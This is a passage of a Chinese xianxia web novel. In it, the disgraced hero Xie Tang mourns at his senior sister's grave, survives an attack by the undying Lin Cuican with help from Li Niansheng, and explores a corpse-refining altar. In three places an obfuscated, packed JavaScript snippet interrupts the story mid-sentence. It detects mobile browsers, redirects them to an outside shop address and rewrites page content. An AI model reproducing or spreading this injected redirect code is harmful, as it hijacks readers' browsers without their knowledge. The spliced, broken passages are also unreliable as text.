他忽然笑了,却在大笑中泪流满面,笑自己这十年躲在云台司里,装作什么都没发生,笑自己告诉自己“谢颜酌已经死了”,好像这样就能撇清一切。 可故人躺在面前,面目全非,他有什么资格说一句…与我无关? 9.此心谁寄 如约定一般,黎念笙放了他,也再未跟随。 谢棠一路走得失魂落魄,天地浩大,他竟不知该往何处去,便由着脚步漫无目的地走,走到哪里,便是哪里。 暮色四合时,他却停在了碧海潮生阁前…… 这地方早已荒废,十年间,他只在最初时回来过一次,那时还有个打扫的小姑娘,如今,却真是人去楼空了。 昔日楼阁倾颓,风骨不再,可令谢棠意外的是,院落竟是整洁的,是谁呢? 谢棠不知道,只是觉得好不容易才来上一遭,便要进去看看。 戏月林里,谢颜酌的衣冠冢变了模样,原先不过一块木牌,如今竟立起了像样的墓碑,看着像是新修的,谢棠扯了扯嘴角,露出一丝苦笑,却也感激。 不知是谁,还会来给谢颜酌修坟…… 他驻足片刻,便转向戏月林的另一角,那里,还有另一座坟,埋着他的师姐,也葬着他十年前的辉煌。 谢棠目光落在碑牌“姜清妩”三字上,许久未移,只觉喉间涌上一股苦涩。 “师姐啊……”谢棠缓缓坐在墓前,天已黑透,月色明朗,却照得四野愈发凄凉,叹息着:“这些年,我没有来看你,你可怪我?” 他问着注定无人应答的话,不敢抬头,“不是我不来,是我…没脸见你…” 说着,谢棠伸手理了理碑旁的杂草,坐在此处,他感到十年未有的静寂,“当年,你、我、琴笛笙磬,我们建了这碧海潮生阁,风光无限,我以为,我们会一直这样… 如今故人尽散,这世上只剩我一人…” “明明该死的是我,可偏偏活下来的,也是我。”谢棠苦笑。 若无师父师姐的照拂,谢颜酌永远都是街边流浪的乞儿,那一年,他才五岁… 直到六年后,师父仙逝,谢颜酌要出去闯一闯,他闯出了一片天,却忘了他的来时路,他自付,他狂傲… 那一晚,姜清妩多年顽疾殃及性命,唯有蓬莱仙草可医,可同样,那一晚,魔教的战书也来势汹汹。 谢颜酌从未如此两难过,蓬莱,惟他一人去得,可他是玄门共主,当此之时,他应当统率玄门各派,共御强敌… 但是,谢颜酌没有… 他一味自负,他拿到了仙草,却在回来的路上出了意外,也许老天受够了他的张狂,让他输得一败涂地… 最后,师姐没有救下,也没有尽到一个玄门共主的责任,他输光了所有。 “我那时以为自己天赋异禀,定能救你,我以为我以身护苍生,苍生也必不负我…”他摇摇头,似在嘲笑他自己,“可是我没有护住他们,我也没有护住你…” “所以碧海潮生阁才遭厌弃,所以无人助我,所以我沦落至此…都是报应。” “师姐…”谢棠望着天,在不为人见的角落,竟有一滴泪从眼角滑落,他说:“我太看得起自己了…” 他看着墓碑,像看尽了一生的过往,终是长叹:“报应不爽,我造下的孽,终要我亲手去还…” “此一去,怕是再难相见,日后黄泉路上,我来陪你。”说着,谢棠伸手摸了摸墓碑,努力扯出一个笑容:“你可不要嫌我吵闹。” 他起身,静默良久,终于转身离去,只是前脚踏出戏月林,脚步便骤然顿住。 腰间软剑月引梭竟开始微微震颤,剑身发出一声极轻的嗡鸣,这是剑灵在警示它的主人。 谢棠抬手按住剑柄,像是抚慰,目光扫过四周,月色如水,竹林静默,什么都没有,但,太安静了… 月引梭不会无端而动,这柄剑由他亲手锻造,跟了他十三年,此时此刻,它的警觉比人的直觉更可信。 谢棠握紧剑柄,加快了脚步,没走出多远,一道风声呼啸而过,伴随着空中几丝缥缈的青气,月光下,一袭黑袍稳稳落在路中央。 谢棠的手按上了月引梭,比此人身影更熟悉的,是此人所用的轻功——鬼踪步。 世上只有一人会鬼踪步,但那个人,十年前,与谢颜酌同归于尽了… 不等谢棠发问,那一身骇然之气的人转过身来,露出黑袍之下一张惨白的脸,月光下毫无血色,那人的瞳仁里没有光,只有一片死寂的灰,可那张脸,谢棠认得。 十年前,无殇冢,林摧残! 上界玄门,出了两位天之骄子,却一正一邪。 一人天生武脉,曾被世人尊为“太初”,另一人天生奇骨,却是无殇冢家主的义子,人称“鬼公子”,若不是百晓堂排冠绝榜时未曾将无殇冢算入其中,十年前,谢颜酌之下,应当是这个鬼公子,林摧残。 再次见到此人,谢棠的手微微收紧,“你没死?” 林摧残没有回答,他只是看着谢棠,接着又将目光移到了他腰间的月引梭,那双死寂的眼睛在触上月引梭的一瞬间,倏然亮了。 紧接着,他动身只在一瞬间,无声也无影,一柄短刀从袖中滑出,直取谢棠咽喉! 谢棠侧身,月引梭甩出,软剑如蛇,缠上短刀,可林摧残这对两断刀后连着真气凝结的锁链,直将月引梭压成了一张弓,剑身嗡鸣不绝,谢棠咬牙硬撑,掌心已渗出血来,他想运真气,气海却像一口枯井,什么都提不上来。 自己气海破裂,可林摧残的修为只比当年更甚,谢棠正思索时,另一柄断刀也缠了上来,可他这一对两断刀其中一柄曾在十年前被谢颜酌斩断,有人替他配了一柄新的…… 思及此处,林摧残忽然近身,一手已探到眼前,五指如钩,直取月引梭的剑身,剑刃在他掌心发出刺耳的摩擦声,像在挣扎,又像在哀鸣。 谢棠被他真气逼退,眼见自己的剑被人夺去,他冷笑一声,一手凝出御剑诀,月引梭应声归位,抽走时在林摧残掌心留下一道血痕。 “我说,你要拿我的剑,可没这么容易啊。”谢棠故意激他,却见林摧残毫不所动,似乎连痛意也没有。 谢棠只觉怪异,林摧残这副样子,根本不像是个人了,山风拂下他的黑帽,谢棠看得更清楚了… 十年了,林摧残的容颜竟丝毫未改… 忽然间,站立的林摧残抬起头,那双死寂的眼睛里,映出谢棠狼狈不堪的模样,下一刻,那双漆黑的眸子里杀机陡现,伴随着刀风而来的,是一道幽青色的法印! 谢棠暗叫不好,这是纵灵之术,林摧残动了真格,但谢棠如今的情况却绝用不得此招,此招耗费的真气实在太大,哪怕赢了,怕也会毒发而亡…… 携带着“断”字的法印生生袭来,留给谢棠的生机已然不多,他望着手中月引梭,无奈叹了口气,就在此时,却有另一道剑光从天而降。 不是刺向林摧残,而是落在两人之间,剑光炸开,将林摧残震退三步。 谢棠踉跄后退,却被一只手稳稳扶住,他抬头,看见黎念笙的侧脸,月光下,那张脸冷如刀锋,镜玄剑已然出鞘,剑身凝霜,连周围的空气都冷了几分。 “你来做什么?”谢棠脱口而出。 黎念笙没有看他,只盯着林摧残,淡淡道:“我说过,三日后在青州等你。” “那也没到三日。” “我怕你死。” 谢棠顿时被噎住。 林摧残被击退,却没有逃走,三丈之外,那双死寂的眼睛里,倏然闪过一丝光,谢棠心头一沉,而后,一阵诡异的笛声响起,不是林摧残,还有另一人! 声音并不刺耳,却能让人从骨子里渗出寒意,月引梭一时间剧烈震颤,剑身嗡嗡作响。 “走!”黎念笙一把抓住谢棠的手腕。 但,太迟了… 笛声骤然拔高,尖锐如针,直刺入耳膜,谢棠只觉脚下的地面开始旋转,四周景物都开始扭曲变形,月光碎成千万片,在眼前飞旋,他看见黎念笙的脸,也在漩涡中渐渐模糊… 来不及了… 谢棠咬破舌尖,在被包裹的最后一刻强行催动神识,感应着那些残留在碧海潮生阁地界内的阵法,他当年布下时,从未想过有一天会用在自己身上, “月华同心,起!” 脚下忽然一亮,那些光从泥土里渗出来,从石缝里溢出来,织成一张巨大的网,将二人罩在其中,笛声被隔绝在外,林摧残的身影也被隔绝在外。 谢棠方才松一口气,跪倒在地,大口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黎念笙的手指在石面上移动,先写了他自己的名字,而后,剩下的一笔一画,写得异常认真。 第一个字写完了,谢棠没有看,但他知道,那是“谢”。 第二个字,第三个字… “谢颜酌”。 石面忽然亮了一下,像是在确认,又像是在审判,接着,谢棠听见了一声极轻的闷哼,是试心石的反噬… 他探头一看,黎念笙的手还按在石面上,指尖却在微微发抖,石面上的字迹,正在一点一点暗淡下去。 他看见黎念笙似乎怔住了,谢棠正思索着怎么劝说,就对上黎念笙转过来的双眼。 不是失望,不是悲伤,是不甘,是痴狂… 那一瞬间,谢棠被他眼底那抹执拗惊得说不出话,良久,他才开口:“你别试了。” 黎念笙却没有停,他咬着牙,额上都冒出了冷汗,手指在石面上用力按下,像是在和什么东西角力,那些字迹明明已经暗淡,却还残留着淡淡的痕迹,不肯彻底消失。 可那又有什么用呢? 试心石不会说谎,心意相通就是心意相通,没有就是没有… 石面上的光彻底熄灭了,那些字迹像被什么力量抹去,消失得干干净净… 黎念笙的手指还按在石面上,整个人却像被抽走了所有力气,他没有回头,只是站在那里,看着那块空白的石头。 谢棠站在他身后,张了张嘴,却什么也说不出来。 他不懂这块石头对黎念笙来说意味着什么,是十年痴守的结果,却等来一块刻不上名字的石头… 谢棠看着黎念笙的背影,又在心中骂谢颜酌混蛋,才弱弱道:“抱歉。” 黎念笙没有动,只说:“不是你的错。” 他越是如此平静,就让谢棠喉咙愈发得紧,平时舌灿莲花,如今却一个字都说不出来。 外头不知如何,可阵法还在,把他们困在这一方小小的天地里,困在那块不肯说谎的石头面前。 10.再入江湖 谢棠站在原地,看着黎念笙的背影,喉间像堵了什么东西,不上不下,他想说点什么,又觉得说什么都是错,只好也跟着沉默。 月光透过阵法落下来,在地上铺了一层薄薄的银霜,将两人的影子拉得悠长,落在阵纹像,又淡得像是随时会散开… 谢棠别开眼,盯着自己的脚尖,心里把谢颜酌骂了千百遍,他这辈子没这么窘迫过,忽然有些恨这块试心石。 “我……”他刚开口,外头便传来一声极远的呼喊,飘飘忽忽的,听不真切,却让两个人同时僵住了。 “谢棠!这里头是不是你啊!” 是…萧裴煜的声音! 少年莽撞的声音隔着一层阵法传进来,像隔了千山万水,又急又慌,紧接着是一阵窸窸窣窣的动静,像是有人在阵法外头试探着往里闯,又被弹了回去。 “谢棠!你到底是不是被困在里面了?”萧裴煜的声音越来越大,起了几分不管不顾的架势,大喊:“你别急,本世子这就想办法…” 谢棠回过神来,下意识看了黎念笙一眼,又飞快移开,他清了清嗓子,对外头喊:“我没事,你别乱闯。” 长久不说话,声音有些哑,他顿了顿,补了一句:“外头可还有别人?” 萧裴煜愣了一瞬才答:“有!王爷也来了,带了好多人呢。” 谢棠的眉头皱了一下,转头看向黎念笙,后者依旧没有回头,只是搭在石头上的手终于收了回来,垂在身侧,指尖微微蜷着。 “这阵法…”黎念笙忽然开口,声音很平,像什么都没发生过,“若用蛮力破除,可会伤及你?” 谢棠一怔,随即带上几分没良心的笑意:“不会,我怎么可能这么蠢呢?” “那便现在破。”黎念笙转过身来,目光掠过谢棠的脸,没有停留。 谢棠张了张嘴,想说什么,却被外头萧裴煜越来越急的喊声打断了,他只好点了点头,退开几步,将位置让出来。 黎念笙没有再多说一句,他抬手,镜玄剑从剑匣中应声出鞘,剑身上凝着一层薄霜,在月光下泛着冷冷的白。 他没有蓄势,只是握着剑,朝着阵法最薄弱的方位,轻轻划了一下,下一刻,那道笼罩着他们的光幕像被划开的绸缎,无声无息地裂开一道口子,月光从缝隙里倾泻进来,混着外头清冷的夜风,阵法发出最后一声嗡鸣,碎成千万片光屑,纷纷扬扬落下来,落在两个人肩头,又无声消散。 谢棠抬头,看见满天的星子,还有那站在阵法外头一脸呆滞的萧裴煜。 “谢棠!”少年立刻冲过来,担忧之色全然褪去,质问:“你怎么能把我打晕?你也太不讲义气了,你…” 他话说到一半,忽然注意到站在谢棠身后的黎念笙,愣了一愣,到嘴边的话又咽了回去,下意识退开半步,脸上闪过一丝不悦,前几日论剑台上那一掌,他可还没忘。 黎念笙看都没看他,只是将镜玄剑收回鞘中,目光越过萧裴煜,落在更远处的几道人影上。 谢棠也看见了,萧裴煜身后不远处,站着一群人,一个面沉如水的蓝铭熙,身后还跟着几个云台司的暗探。 蓝铭熙没有上前,他站在那里,目光淡淡地扫过谢棠,又落在黎念笙身上,停留了片刻,才收回来。 那一眼很轻,可谢棠看得分明,这一眼,蓝铭熙垂在身侧的手攥紧了。 空气忽然有些凝滞,谢棠清了清嗓子,打破沉默:“林…那黑衣人呢?” 萧裴煜一怔,挠了挠头:“你是说那个……” 他比划了一下,“我们来的时候,就看见一道黑影往山下跑了,可能是听见动静被吓跑了吧?” 谢棠眉头微蹙,被吓跑?林摧残那样的人,会被几个人的脚步声吓跑? 可他没有追问,只是目光扫过四周,那些残存的阵法痕迹还在月光下微微发亮,而那道诡异的笛声,早已消散得无影无踪。 “谢棠,”萧裴煜又凑过来,眼里全是好奇,“你怎么会在这儿?这不是…那个碧海潮生阁吗?大半夜的,你跑到这儿来做什么?” 谢棠白了他一眼,没有回答,目光越过萧裴煜,落在蓝铭熙身上。 蓝铭熙也正看着他,月光下,那张脸上没什么表情,只是那双眼睛,黑沉沉的,那人说:“该回家了。” 几分警示的意味清清楚楚地落进每个人耳朵里,谢棠还没来得及答话,袖口忽然被什么东西扯住了。 他低头,看见一只手,那手指尖还带着方才试心石反噬留下的红痕,正捏着他的袖角,力道大得让人迈不开步。 谢棠抬起头,对上黎念笙的眼睛,那双眼睛方才在阵法里分明已经黯淡下去,此刻却像被什么重新点燃了,沉沉地、执拗地望着他,没有说话,也不愿松手… 月光照在他们之间,照在那只捏着袖角的手上,照得指节根根分明…… 谢棠喉间微动,他先是看了黎念笙一眼,又看向蓝铭熙,后者的脸上依旧没什么表情,只是负在身后的手,不知什么时候已经放了下来,垂在身侧,指尖微微蜷着。 谢棠轻轻叹了口气,于是,他抬手,覆上黎念笙捏着他袖角的那只手,没有推开,只是轻轻拍了拍,像安抚,那只手僵了一瞬,又慢慢松开,最终垂了下去。 “山下有家客栈。”谢棠开口,带着一丝浅浅的笑意,“折腾了半天也累了,黎宗主若不急着回去,可一道去。” “今夜先歇下,至于往后……”他没有说完,目光移向蓝铭熙,“往后的事,我确实该好好与王爷商议了。” 客栈不大,藏在山脚一片老槐树后面,门脸旧得连招牌都缺了角,伙计打着哈欠给他们开了四间房,眼神在几个衣饰不凡的客人身上转了一圈,识趣地什么都没问。 谢棠要了热水,关上门,将一身的狼狈洗去,水汽氤氲里,他又想起试心石上暗淡的字迹,闭了闭眼,将自己沉进水里。 出来时换了身干净的白衣,长发还湿着,搭在肩头,他也不去管,只靠在床头闭目养神,屋里没点灯,只有窗缝里漏进来的一线月光,薄薄地铺在地上。 今夜,是十五,按照往常,今夜当有一位访客。 果不其然,门外传来一阵脚步声,紧接着,门被推开,蓝铭熙站在门口,逆着月光,看不清脸上的神情,他没有进来,只站在门槛边,手搭在门框上,像在等一个许可。 谢棠睁开眼,看了他片刻,微微颔首。 蓝铭熙这才走进来,随手将门掩上,屋里没有第二把椅子,他便站着,目光从谢棠未干的发尾移到那张苍白的脸上,停了一瞬。 “今夜十五。”他说。 谢棠搭在膝上的手一顿,他没有接话,只是抬起眼,看着蓝铭熙。 月光从窗缝里挤进来,落在两个人之间,像一道薄薄的屏障… 四周很静,还有夜风穿过老槐树的声音沙沙作响。 “所以呢?”谢棠反问,语气比蓝铭熙更淡,今夜,本该是他又一次观赏自己狼狈的日子,可却没有。 蓝铭熙移开目光,看向窗外那轮将圆未圆的月,半晌,才道:“他知道你是谁。” 不是疑问,是陈述。 谢棠的手指在膝上蜷了一下,又松开,他当然知道蓝铭熙说的是谁,今夜碧海潮生阁前,那个人站在月光下,捏着他的袖角不肯松手的样子,恐怕在场每个人都看得分明。 “此人,”谢棠开口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364626|198893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,轻笑:“是你我皆惹不起的人。” 蓝铭熙转过头来看他,目光沉沉的,像一潭不见底的水,似乎并不这样认为。 谢棠没有回避,迎着他的目光,继续道:“云台司大势已成,名剑山庄一行,你要我做的事,我也做了。” “往后…”他顿了顿,未尽之言不必言,谢棠声音放轻了些,说:“祝你好运。” 这话说得太淡,像在道别,蓝铭熙的眉头动了一下,唇角微微绷紧,半晌才道:“出去这一趟,你与从前不大一样了。” 谢棠一怔,随即笑了一下,那笑容很浅,像水面上一圈即将散去的涟漪,带着点自嘲的意味:“从前?” 他重复了一遍这两个字,似是在回味,他低下头去看自己的手,那双手苍白、瘦削,是一双再也握不稳剑的手。 “从前…只当我自轻自贱罢。”他释然一笑,“往后……” 他顿了顿,没有说下去。 窗外的月光又亮了一分,照在他的侧脸上,将那点自嘲的笑意照得无所遁形,他沉默了一瞬,才继续道:“我也不知我还有多少个往后,但我还有未尽之事。” 未尽之事… 蓝铭熙咀嚼着这四个字,眼底有什么东西暗了几分,可他没有追问,只是站在那里,看着谢棠,像看一个认识了很多年、却始终没有真正看懂的人。 良久,他转过身,手搭上门栓时,他脚下停了一步,没有回头,只低低地说了一句:“若还有什么需要…可以回来找我。” 门开了,又关上,脚步声渐渐远去,消失在走廊尽头。 谢棠独自坐在黑暗里,月光偏移了方向,从他身上移开,落在空荡荡的地板上,像一滩融化的雪… 子时,他推开了房门。 走廊里没有人,楼下大堂也黑着,只有柜台上一盏油灯还亮着,豆大的火苗被夜风吹得摇摇晃晃,他穿过大堂,推开了客栈的大门。 月光劈头盖脸地落下来,凉得像水,目光所及之处,他看见了黎念笙。 那人就站在门外,背着那只剑匣,墨蓝衣衫被夜风拂动,猎猎作响… 他不知在这里站了多久,入了秋,此时深山里算不得暖和。 谢棠沉默着,随即走了出去,与他并肩站在月光下。 “不是说三日后相见?”他侧头看黎念笙,嘴角微微扬起,带着点打趣的意味,“那还差一日呢,黎宗主怕我跑了不成?” 黎念笙转过头来看他,月光下,那双眼睛依旧冷冷的,像凝了千年的霜雪,可那霜雪底下,分明有什么东西在微微发烫。 “你跑到天涯海角,”他一字一字稳稳道:“我都能抓到你。” 谢棠与他对视了片刻,忽然笑了。 没有敷衍,只是想笑,便笑了… 笑意漫过眼底,将那双总是平静得过分的眼睛点亮了一瞬。 “这一点,”他说,“我还真不怀疑。” 他没有再多说,抬脚朝山下走去,黎念笙落后他半步,不远不近地跟着,脚步声被夜风吞没,他安静得像一道影子。 走出去几步,黎念笙忽然停了一下,谢棠感到他涌上一丝杀意,便抬手按在他的肩膀,对他摇摇头。 语气平淡得像在说今晚月色不错。 “不必在意。” 身后跟了个尾巴不假,但不必在意。 月光铺满了前路,二人的影子叠在一起,又分开,又叠在一起… 夜风从山那边吹过来,带着深秋的清寒和草木将枯的气息,吹动了谢棠未束的长发,也吹动了黎念笙肩头那层薄薄的霜。 只有身后的尾巴,目送着两道越来越远的影子,渐渐没入月色深处。 11.炼尸祭坛 午后日光薄淡,照在无殇冢废弃的山门上,将那三个被剑气劈裂的字照得愈发狰狞。 谢棠站在门外,仰头看了一会儿,若细细感来,那字迹里还残留着镜玄剑的剑意,他下意识侧头看了黎念笙一眼,后者面无表情,抬脚跨过门槛,像走进一座寻常庭院。 里头比外面更荒凉,不过一月,断壁残垣间生满了枯草,风过时簌簌作响,像无数人在低声说话。 谢棠的目光扫过那些倒塌的廊柱,碎裂的石阶,但却没有看见任何一具尸骨… 一个杀手组织,上上下下百余人,被灭门后竟连一具尸骨都没有留下。 “人呢?”他问,“总不会,你替人家收尸了?” 黎念笙走在前面,闻言脚步顿了一下,“他们不配。” 谢棠最终没有再问,只是跟上去的脚步又沉了几分,有人收了他们的尸骨,又或者…取了他们的尸骨。 穿过前殿,黎念笙熟门熟路地绕过一片倒塌的假山,在后山一处不起眼的石壁前停下,他抬手按在某块看似寻常的石头上一拧,石壁无声裂开一道缝隙,露出黑黝黝的洞口,阴冷的风从里头灌出来,带着腐朽和铁锈的气息。 “你上次来,便发现了这里?”谢棠问。 黎念笙先一步进去,淡淡道:“剑气扫过时,这处石壁回音不对。” 谢棠看他一眼,没有接话,弯腰钻了进去。 暗道很长,两侧石壁上每隔几步嵌着一盏长明灯,灯油早干了,只剩灯盏里积着一层黑灰,两个人的脚步声在甬道里回荡,一前一后。 行走间,黎念笙的声音从身后传来,带着空荡荡的回响:“我出关时,只听闻上界有尸魁出没,祸害百姓,直到追查到此处,才发现无殇冢做的勾当。” 谢棠的只是问:“所以你来无殇冢,是为苍生解难?” “…”黎念笙没有回答,反而话锋一转,顾自说:“没想到会找到月引梭。” 月引梭 谢棠下意识按了一下腰间那柄软剑,剑身在他指下微微震颤,他想起那夜碧海潮生阁前,林摧残死死盯着这柄剑的眼神,他有预感,那人还会再来…… “黎宗主,”他忽然开口,声音压得很低,“可曾听过这世上有什么功法,能保人容颜不改?” 身后的脚步声停了一瞬,又跟上来,“你是觉得,林摧残很奇怪?” 谢棠点头,想起月光下那张十年未变的脸,还有那对被重新配齐的两断刀,其实仔细回想,十年前的雨夜,那时的林摧残已如那夜那般,毫无生机… “他那日来夺剑,离得很近,我看得真切…”他顿了顿,“一个人可以修为精进,气质改变,但皮相骨龄却骗不了人,十年,他连一道皱纹都没长。” 黎念笙沉默了片刻,再开口时声音沉了几分:“那日我来无殇冢,除了月引梭,还发现了一人。” 谢棠脚步一顿,脑中闪过伴随着无殇冢被灭的传闻,“你是说…晏家那位失踪的长子?” “没错。”黎念笙越过他,走到前面带路,背影被两侧石壁上昏暗的光拉得幽长,“晏家有意封锁消息,我便没有对旁人提起。” “那孩子被关在此处…”他停下脚步,侧头看谢棠,“他失踪时是稚童,十年后,还是稚童。” 甬道里忽然安静得可怕,谢棠站在那里,那一刻,他才真正发觉,有些事,确实太迟了… 十年… 晏家长子走失了十年,十年后容颜未改,林摧残亦是如此,太初五剑也在十年前散落世间,谢颜酌没有去找他的剑,十年来,旁人去了… 两个人对视一眼,都没有再说话,只是不约而同加快了脚步,甬道的尽头是一扇石门,已经被黎念笙上次来时劈开,裂口处残留着霜白的剑气,谢棠伸手推了一下,石门无声滑开,露出里面巨大的暗穴。 他愣住了…… 那暗穴大得不像话,足有三四丈高,方圆数十丈,像把一整座山腹都掏空了,四周石壁被凿出密密麻麻的窟窿,从地面一直延伸到穹顶。 每个窟窿里都放着一口棺材,有的棺材盖半开着,里头黑洞洞的,什么也看不见,有的被锁链缠了几道,封得严严实实。 空中弥漫着一股难以言喻的气味,不是腐臭,更像是什么东西在沉睡时吐出来的气息,潮湿、阴冷,带着淡淡的铁锈甜腥。 暗穴中央,就见一座祭台高高筑起,石材被打磨得极其光滑,倒映着头顶不知从何处透进来的一线微光… 祭台上方,一口棺材由四根粗重的锁链悬空挂起,棺身通体漆黑,刻满了密密麻麻的纹路,像是符文,缠缠绕绕,看得人眼晕。 “月引梭就是封在那口棺里。”黎念笙站在他身后,指向那被高挂空中的棺材。 谢棠顺着仰头看那口悬棺,目光落在那四根锁链上,金色的锁链每一环都铸得极为精巧。 “玄冰锁。”他淡淡吐出三个字,“引灵之锁。” 这玄冰锁分为阴阳两段,阳性引灵,阴性封灵,月引梭认主,无殇冢的人便是用此物借月引梭的灵力炼尸…… 谢棠想凑近几分,黎念笙却将他拉住,知他是担心自己,谢棠便没说什么,只是将黎念笙的手轻轻拨开,绕着祭台走了一圈,又走了一圈,最后停在悬棺正下方,仰头望着那些符文,久久不语。 “倒看不出是什么阵法…”他最终承认,“不是玄门的路数,也不像魔教的手法。” 他低下头,看着自己映在黑石上的倒影,那张脸苍白、消瘦,眉间拧着一道深深的褶,“看来…线索断了。” 黎念笙站在他身侧,沉默了片刻,开口时,语气里股懊悔,“是我打草惊蛇了。” 谢棠摇头,“你那时不知背后还有这些。”他转头看黎念笙,“换作是我,也会这么做。” 这话说得自然,说完他才意识到不对,轻咳一声移开目光。 暗穴里又安静下来,那些密密麻麻的棺材沉默地嵌在石壁里,像无数只闭着的眼睛,悬棺上的符文在微光里缓缓流转,无声无息。 “下一处,”黎念笙打破沉默,“是否要去晏家拜访?” 谢棠低头看着脚下那片黑石,脑中飞快地转着,月引梭被用来炼尸,其余四剑下落不明,有人在下一盘很大的棋,而这盘棋,十年前就开始了,也许太初仙君的陨落,才是这盘棋真正的起点… “此处离另一个地方更近。”他忽然说。 黎念笙侧头看他。 谢棠抬起头,嘴角微微扬起,幽然吐出三个字:“百晓堂。” 出了无殇冢的地界,日光才真正暖下来,方才那暗穴里的阴冷像一层褪不掉的壳,贴在皮肤上,谢棠走了好一段路,仍觉得脊背发凉,他回头望了一眼,那扇被劈裂的石门已经掩在枯藤后面,看不见了。 又走了一程,他的脚步渐渐慢下来。 “累了。”他语气无赖,步子也已经拖沓起来,脚尖蹭着地上的碎石,发出细碎的声响。 黎念笙侧头看他一眼,见他的脸色比方才在暗穴里更白了些,唇色也淡,于是放慢了脚步,走在他身侧偏前的位置,恰好替他挡住了斜照过来的日头。 又走了一段,见那人实在拖得厉害,便不动声色地伸出手,捏住了他的袖角,拉着他一起走。 谢棠低头看了一眼那只手,又抬头看黎念笙的侧脸,那人目视前方,面无表情,像什么都没发生过一样,只是脚步又放慢了些。 衣袖被拽着,力道却不重,却稳稳当当的,像一根看不见的绳。 谢棠忽然觉得有些好笑,他堂堂——不,他曾经堂堂——算了… 他放弃了那个念头,任由黎念笙牵着自己往前走。 山道两旁生满了野茅,被风吹得沙沙响,日光从树叶缝隙里漏下来,碎成一片一片的金,落在两个人的肩头…… 这样的光景,竟让他生出一种错觉,好像这条路可以一直走下去,不必回头… 终于,他忍不住笑了一声。 黎念笙侧头问他:“笑什么?” 谢棠摇了摇头,笑意未散,挂在嘴角,将那点苍白都冲淡了些。 “我是在想,”他说,声音带着点懒洋洋的尾音,“你堂堂一个宗主,放着那么大的门派不管,却跟着我这样的人,一天到晚游手好闲的。” 他偏头看黎念笙,眼里有促狭的光,“不好笑么?” 黎念笙看着他,没有答话,日光落在他的眉眼上,将那层终年不化的霜雪映得薄了些,露出底下的满足。 他什么也没说,只是收回目光,继续往前走,衣袖却始终没有松开。 好像他本就该站在这里,好像他本就该这样牵着他的袖角,走在这条荒草丛生的山道上,好像这十年,不过是为了等这一刻…… 谢棠看着他的背影,忽然就不笑了。 溪流声是忽然冒出来的,转过一个山弯,便看见一道浅浅的溪涧横在面前,水清得能看见底下的卵石,被日光晒得发亮。 黎念笙在一棵老榆树下停了脚,松开了他的袖角。 谢棠也不客气,挑了块平整些的石头坐下来,弯腰掬了捧水,凉丝丝的,浇在脸上,整个人都清醒了几分。 他甩了甩手上的水珠,靠在那棵榆树干上,闭了眼,听水声潺潺,听风过树梢,这样安静… 然后他睁开眼,嘴角微微翘起,“黎宗主啊,你说,这尾巴跟了一路,他累不累?” 黎念笙也睁开了眼,他没有回头看,只是唇角微微动了一下,算是笑,又算是默认。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢棠暗叫不好,还没来得及开口,便感觉到身侧那人睁开了眼,黎念笙没有看萧裴煜,他看的是谢棠。 那目光落在谢棠侧脸上,像一片落在皮肤上的雪花,初时只觉得凉,凉着凉着,就变成了灼人的寒。 谢棠被那目光盯得莫名心虚,赶紧开口,声音都比平时快了半拍:“你可别乱说话!” 他瞪了萧裴煜一眼,“我清清白白的,哪来的什么喜新厌旧?” 顿了顿,又补了一句,语气刻意放得平缓:“再说,我与镜玄尊者老友一场,你这个小辈,怎么会懂?” “老友”两个字咬得格外清晰,像在解释给两个人听。 萧裴煜将信将疑,张了张嘴,到底没找出反驳的话来,他站在那里,脸上青一阵白一阵,最后像是下了什么决心似的,一跺脚… “其实……我有个师父。”他说着,姿态别扭极了,“但他不认我,非说什么,我真正的师尊,是傲视上界之人,那我不得去找他吗!” 谢棠一怔,随即转头看黎念笙,傲视上界之人,这几个字落在耳朵里,怎么听怎么像是在说眼前这个人。 当今天下,从圣境,御剑术,冠绝榜首,若这都不算傲视上界,那世上便没有人算了。 黎念笙显然也听出了那层意思,只是他连眼皮都没抬一下。 他说:“本尊不收弟子。” 萧裴煜的脸又涨红了,这回是气的,“我还没说要拜你呢!” 他嚷着,声音里全是少年人被轻视后的恼羞成怒。 “好了好了。”谢棠赶紧出声,将两个人之间的火苗摁下去,他看了萧裴煜一眼,又看了黎念笙一眼,叹了口气,语气里带着几分嫌弃:“你这小子,眼光也太差了,镜玄尊者这样的师父摆在面前,你都看不上?” 萧裴煜张了张嘴,想说什么,却看见黎念笙一副完全不想搭理他的模样,那人已经重新闭上了眼,靠着树干,像是这世上没有任何事值得他多费心神。 少年被这副姿态噎得说不出话,半晌,才从牙缝里挤出几个字:“反正不是他!” 溪水潺潺地流着,日光从树叶缝隙里漏下来,在三个人之间投下斑驳的光影,谢棠靠着树干,看看左边这个闭目养神的天下第一,又看看右边这个梗着脖子的倔强少年,忽然觉得有些好笑,又有些无奈。 风吹过来,带着水汽和草木的清香,将方才那点剑拔弩张的气氛吹散了些,他闭上眼,靠回树干上,听着水声,听着风声,听着两个人一左一右、各自不服气的呼吸声,忽然觉得… 这样的吵闹,也不错。 12.第一琴师 出了无殇冢的地界,三人便在就近的幽都城找了间客栈暂时安置。 自萧裴煜出现后,这一路黎念笙便不怎么说话,他本就不是多话的人,可此刻的沉默又与往常不同。 